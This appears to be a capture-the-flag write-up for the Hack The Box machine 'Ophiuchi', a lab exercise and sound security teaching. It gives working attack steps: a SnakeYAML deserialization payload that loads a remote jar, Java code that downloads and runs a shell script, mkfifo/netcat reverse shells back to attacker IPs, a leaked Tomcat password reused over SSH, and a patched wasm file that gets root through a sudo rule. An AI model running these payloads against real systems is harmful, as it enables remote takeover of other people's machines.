Ophiuchi - [HTB]
Table of Contents
Introduction
Ophiuchi is a medium Linux machine where the attacker will have to exploit an 'SnakeYaml Deserilization' in order to obtain a reverse shell as tomcat. Then, will have to look for credentials inside the tomcat's configuration directory to escalate privileges. Finally, he or she will have create a script, that executes a reverse shell and, a modified version of a web assembly file,that all together produce a reverse shell as root once executed a go program as root.
Enumeration
As always, let's start finding all opened ports in the machine with nmap.
kali@kali:$ sudo nmap -sS -p- --open -n -T5 10.10.10.227 -oN AllPort.txt
[sudo] password for kali:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-13 15:51 EST
Nmap scan report for 10.10.10.227
Host is up (0.039s latency).
Not shown: 65524 closed ports, 9 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Then, we continue with a deeper scan of every opened port, getting more information about each service.
kali@kali:$ sudo nmap -sC -sV -p22,8080 -n -T5 10.10.10.227 -oN PortInDepth.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-13 15:52 EST
Nmap scan report for 10.10.10.227
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open http Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
As we can see in the nmap result, there is a YAML parser. YAML is a human-readable data serialization standard that can be used in conjunction with all programming languages and is often used to write configuration files.
However, it doesn't matter what we write in the web form, that we always receive the same result: "Due to security reason this feature has been temporarily on hold. We will soon fix the issue!".
This give us a hint that this form is vulnerable.
Watching on the Internet there is a post about SnakeYaml Deserilization exploited with an associated GitHub repository containing all needed resources in order to reproduce the exploit.
Because getting a reverse shell is not that easy with the following exploit, here you have what steps you have to follow in order to get one.
Explotation
First of all download the Github repository mentioned earlier, once inside create a file named shell.sh
with the following content.
Note: Remember to change the IP and port.
#!/bin/bash
touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.127 4444 > /tmp/f
Then, modify the file src/artsploit/AwesomeScriptEngineFactory.java
thus the yaml parser downloads the shell.sh
and executes it, obtaining our reverse shell.
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("wget 10.10.14.127:8000/shell.sh -O /tmp/shell.sh");
Runtime.getRuntime().exec("bash /tmp/shell.sh");
} catch (IOException e) {
e.printStackTrace();
}
Note: Again, do not forget to change the IP.
Now, we have to compile the class, creating the yaml-payload.jar
, so you have to execute the following commands.
kali@kali:~/yaml-payload$ javac src/artsploit/AwesomeScriptEngineFactory.java
kali@kali:~/yaml-payload$ jar -cvf yaml-payload.jar -C src/ .
The resulting file structure should look like this:
.
├── shell.sh
├── src
│ ├── artsploit
│ │ ├── AwesomeScriptEngineFactory.class
│ │ └── AwesomeScriptEngineFactory.java
│ └── META-INF
│ └── services
│ └── javax.script.ScriptEngineFactory
└── yaml-payload.jar
4 directories, 5 files
Finally, you have to create a listening port (nc -nlvp 4444
) create an HTTP server in the same folder as shell.sh
(You can do it with python3 python3 -m http.server
) and send the following payload to the yaml parser.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.127:8000/yaml-payload.jar"]
]]
]
Privilege escalation 1
The reverse shell is being executed as tomcat, so we need to escalate privileges.
tomcat@ophiuchi:/$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
Inside the file /opt/tomcat/conf/tomcat-users.xml
there are somoe credentials for the user admin
, which also exists in the machine.
tomcat@ophiuchi:~/conf$ cat /opt/tomcat/conf/tomcat-users.xml
[...]
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
[...]
These credentials can be used to login us to the machine as admin
through SSH.
Privilege escalation 2
Running sudo -l
seems that we can execute a go program.
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
Taking a look at the /opt/wasm-functions/index.go
we can see that reads a file named main.wasm
and executes a function named info, that if the returned value is equals to "1" the deploy.sh
would be executed (Both files resides under the same folder as index.go
).
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
If we try to execute the program as sudo we always obtain "Not ready to deploy". Thus, we have to modified the main.wasm
so it returns "1" and the deploy.sh
file executes a reverse shell.
Looking at the Wasmer GitHub repository, which appears in index.go
, it seems that the main.wams
stores web assembly instructions. In order to disassemble them we can use the tool wabt that has a series of binaries for decompiling, translating and reading web assembly files.
Using the binary wasm2wat
we can translate the binary to text format, obtaining the file main.wat
.
kali@kali:$ ./wabt-1.0.20/bin/wasm2wat main.wasm -o main.wat
kali@kali:$ cat main.wat
(module
(type (;0;) (func (result i32)))
(func $info (type 0) (result i32)
i32.const 0)
(table (;0;) 1 1 funcref)
(memory (;0;) 16)
(global (;0;) (mut i32) (i32.const 1048576))
(global (;1;) i32 (i32.const 1048576))
(global (;2;) i32 (i32.const 1048576))
(export "memory" (memory 0))
(export "info" (func $info))
(export "__data_end" (global 1))
(export "__heap_base" (global 2)))
As you can see above, there is an $info
function that returns a constant value 0
, so we have to change it by a "1".
(func $info (type 0) (result i32)
i32.const 1)
Then, we have to compile back the main.wat
to main.wasm
.
kali@kali:$ ./wabt-1.0.20/bin/wat2wasm main.wat -o main.wasm
Now, we have to upload the resulting main.wasm
to the /tmp
folder and we have to create a /tmp/deploy.sh
that executes a reverse shell.
admin@ophiuchi:/tmp$ cat deploy.sh
#!/bin/bash
# ToDo
# Create script to automatic deploy our new web at tomcat port 8080
touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.118 4445 > /tmp/f
Finally, we need to execute the sudo command inside the /tmp
in order to obtain our shell as root.
admin@ophiuchi:/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
kali@kali$ nc -nlvp 4445
listening on [any] 4444 ..
connect to [10.10.14.118] from (UNKNOWN) [10.129.82.243] 60290
# id
uid=0(root) gid=0(root) groups=0(root)
# wc -c /root/root.txt
33 /root/root.txt